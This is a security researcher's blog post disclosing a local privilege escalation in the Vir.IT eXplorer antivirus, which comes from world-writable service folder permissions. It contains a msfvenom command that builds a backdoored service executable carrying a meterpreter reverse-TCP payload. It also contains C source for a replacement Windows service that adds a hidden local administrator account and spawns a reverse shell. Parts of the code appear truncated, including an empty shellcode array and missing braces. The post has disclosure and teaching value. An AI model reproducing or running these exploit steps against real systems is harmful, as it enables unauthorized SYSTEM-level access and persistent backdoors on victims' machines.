Back to Posts

Share this post

The Curse of the Antivirus Solution

Posted by: voidsec

Reading Time: 6 minutes

This is the main article for the VirIT Explorer Local Privilege Escalation Exploit’s, if you are not interested in the methodology and the story behind this vulnerability you can directly jump to the end and reach the exploit section.

As a penetration tester I’ve realized that Antivirus Solutions are often insecure, they can be easily bypassed and they do not fully protect your system; sometimes they also make you more vulnerable and this is the case.

I will always recommend AV as a basic protection but, most of the time, you already have another valuable defense: Common Sense.

common_senseHowever, let’s stop blaming AV and start speak about VirIT Explorer.

Vir.IT eXplorer is an AntiVirus, AntiSpyware and AntiMalware software made in Italy and developed by TG Soft S.a.s.

Some days ago, I was “scraping” an Italian Hacker Group when I stumbled upon a spam post about Vir.IT eXplorer: “We had analyzed viruses and malware for over 20 years to understand how they work and to develop a software for their unique identification and proper removal.”

Damn, I was really curious, an Italian Antivirus with more than 20 years of research and I had never heard anything about it, I decided to give it a try.


Maybe this awful GUI was the reason because I never heard anything about it, welcome back in the nineties!

I honestly spent some times reviewing the product and its signature detection rate but I soon lost the interest, suddenly my mind flashed me with some articles about major vulnerabilities in antivirus products and immediately I started searching in Vir IT eXplorer.

Vir.IT eXplorer during its installation set-up a Windows Service called viritsvclite, that run as NT AUTHORITY\SYSTEM (the highest privilege level on a Windows machine) and I decide to investigate further.

Usually, when searching for common Privilege Escalation vectors on Windows, one of the things that I’m looking for is Windows Services that runs with high privilege and that have some misconfiguration in their privilege settings (executables, dll or folders).

In this case a rapid check with icacls return an interesting flaw:

C:\VEXPLite Everyone:(OI)(CI)(F)<=================== Vulnerable
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

icacls.exe viritsvc.exe
viritsvc.exe Everyone:(I)(F)<=================== Vulnerable
NT AUTHORITY\Authenticated Users:(I)(M)

These privileges basically mean that any user (even guest) will be able to replace, modify or alter the files in VEXPLite’s folder allowing an attacker to inject code or replace the executable and have it run in the context of the application (with the same privilege).

With this flaws in mind I tried to replace the service executable with a basic cmd and a custom exe but I wasn’t able to get anything; that’s because windows service executables aren’t basic exe files, they need an interface that responds to the Service Control Handler.

After the first fail I searched for some dll to replace and I found that the service executable and the main AV exe were sharing a lot of dlls.

I cannot simply replace a random dll because this will crash the main GUI.


I tried replacing the engine.dll and crafting a metasploit payload using the service exe as a template:
msfvenom -a x86 --platform windows -x viritsvc.exe -k -p windows/meterpreter/reverse_tcp lhost= -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe-service -o viritsvc-bd.exe

I was pretty confident that the payload would work but I was wrong, for some reason the backdoored service wouldn’t start.

Speaking with a colleague (he has a very nice technical InfoSec blog), he pointed out that the problem could have been related to network unavailability causing the reverse shell to fail and kill the main process.

He was right, checking the service’s process it start with a very low PID (around 800) and in the Windows Event Log I was able to find that it was starting before Windows DHCP and Network functionality.

Nice find, but that would not fix my problem, I needed to add a delay and wait until every network functionality will start. I needed something more flexible and customizable than the metasploit payload, so, I decided to craft my own exe service template and to backdoor it, providing the functionality to add a local administrator to the system and spawning a reverse shell back to my kali machine.

Without going further deep, here my custom exe service, it has some comments inside and I think that it could be understandable.


/*VirIT Explorer Lite & Pro v.8.1.68 Local Privilege Escalation (System)/Arbitrary Code Execution
Paolo Stagno - [email protected]*/

#include <windows.h>
#include <stdio.h>

#define small_sleep 5000
#define big_sleep 180000


void ServiceMain(int argc, char **argv);
void ControlHandler(DWORD request);
typedef short (CALLBACK * FuncType) (LPCTSTR);

/*Meterpreter reverse payload windows/meterpreter/reverse_tcp*/
unsigned char r_shell[] =

int Spawn_Shell(){
//Spawn the reverse shell
int (*func)();
func = (int (*)()) r_shell;

int Add_Admin(){
//ADD VoidSec:secret to Local Administrators
system("net user VoidSec secret /ADD");
system("net localgroup Administrators VoidSec /ADD"); return 0;

int main(){
ServiceTable[0].lpServiceName = "viritsvclite";
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION) ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
return 0;

void ServiceMain(int argc, char **argv) {
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hStatus = RegisterServiceCtrlHandler("viritsvclite", (LPHANDLER_FUNCTION) ControlHandler);
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(hStatus, &ServiceStatus);
//Big sleep (3m), let Windows start Network, DHCP etc.

//Let our service run instead of kill it (only works with Add_Admin, Spawn_Shell will kill it on exit)
/*while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {

void ControlHandler(DWORD request) {
switch (request) {
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(hStatus, &ServiceStatus);


ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(hStatus, &ServiceStatus);


SetServiceStatus(hStatus, &ServiceStatus);

The new created user and the long wished shell, video proof here:

adduser system
Back to Posts